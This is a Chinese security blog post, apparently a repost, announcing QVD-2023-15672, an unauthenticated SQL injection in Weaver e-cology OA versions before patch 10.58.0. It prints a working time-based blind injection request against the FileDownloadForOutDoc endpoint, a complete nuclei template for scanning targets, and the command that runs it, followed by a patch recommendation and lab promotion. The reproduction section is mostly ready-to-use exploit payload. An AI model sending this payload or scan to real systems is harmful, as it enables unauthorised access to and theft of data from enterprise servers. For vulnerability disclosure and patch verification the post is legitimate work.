正文

漏洞速递 | QVD-2023-15672漏洞（附EXP）

admin
admin V管理员 /0 评论 /9 阅读
1019
文章最后更新时间2024年10月19日，若文章内容或图片失效，请留言反馈！

网安引领时代，弥天点亮未来   

0x00写在前面
本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！
0x01漏洞介绍

泛微协同管理应用平台(e-cology)是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台，形成了一系列的通用解决方案和行业解决方案。

泛微厂商发布安全补丁更新，修复泛微E-Cology SQL注入漏洞。远程未授权攻击者可利用该漏洞获取敏感信息，进一步利用可能获取目标系统权限等。

0x02影响版本

Ecology 9.x 补丁版本 < 10.58.0

Ecology 8.x 补丁版本 < 10.58.0

0x03漏洞复现

1.访问漏洞环境

2.对漏洞进行复现

  Poc （POST）

POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36Content-Length: 45Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closefileid=2+WAITFOR DELAY+'0:0:5'&isFromOutImg=1

漏洞复现

POST请求，响应存在漏洞

3.x-poc测试（漏洞存在）

nuclei脚本下载地址：

https://github.com/UltimateSec/ultimaste-nuclei-templates/blob/main/ecology-oa/ecology-oa-filedownloadforoutdoc-sqli.yaml
id: ecology-oa-filedownloadforoutdoc-sqliinfo:  name: EcologyOA filedownloadforoutdoc - SQL injection  author: unknown  severity: critical  description: EcologyOA filedownloadforoutdoc interface has SQL injection  tags: ecology-oa,sqlirequests:  - raw:      - |        POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1        Host: {{Hostname}}        Accept: */*        Accept-Encoding: gzip, deflate        Accept-Language: zh-CN,zh;q=0.9        Connection: close                fileid=2+WAITFOR DELAY+'0:0:5'&isFromOutImg=1    matchers:      - type: dsl        dsl:          - 'duration>=5'
./nuclei -u http://oa.xxx.com/ -t ./ultimaste-nuclei-templates/ecology-oa/ecology-oa-filedownloadforoutdoc-sqli.yaml
0x04修复建议

目前厂商已发布升级补丁以修复漏洞，补丁获取链接：

建议受影响用户尽快升级至10.58及以上版本

https://www.weaver.com.cn/cs/securityDownload.asp#

弥天简介

学海浩茫，予以风动，必降弥天之润！弥天弥天安全实验室成立于2019年2月19日，主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子，也是民间组织。主要以技术共享、交流等不断赋能自己，赋能安全圈，为网络安全发展贡献自己的微薄之力。

口号 网安引领时代，弥天点亮未来

文章来源：弥天安全实验室

知识分享完了

喜欢别忘了关注我们哦~

学海浩茫，
予以风动，
必降弥天之润！

   弥  天

安全实验室

 


推荐站内搜索：最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
ZhouSa.com-周飒博客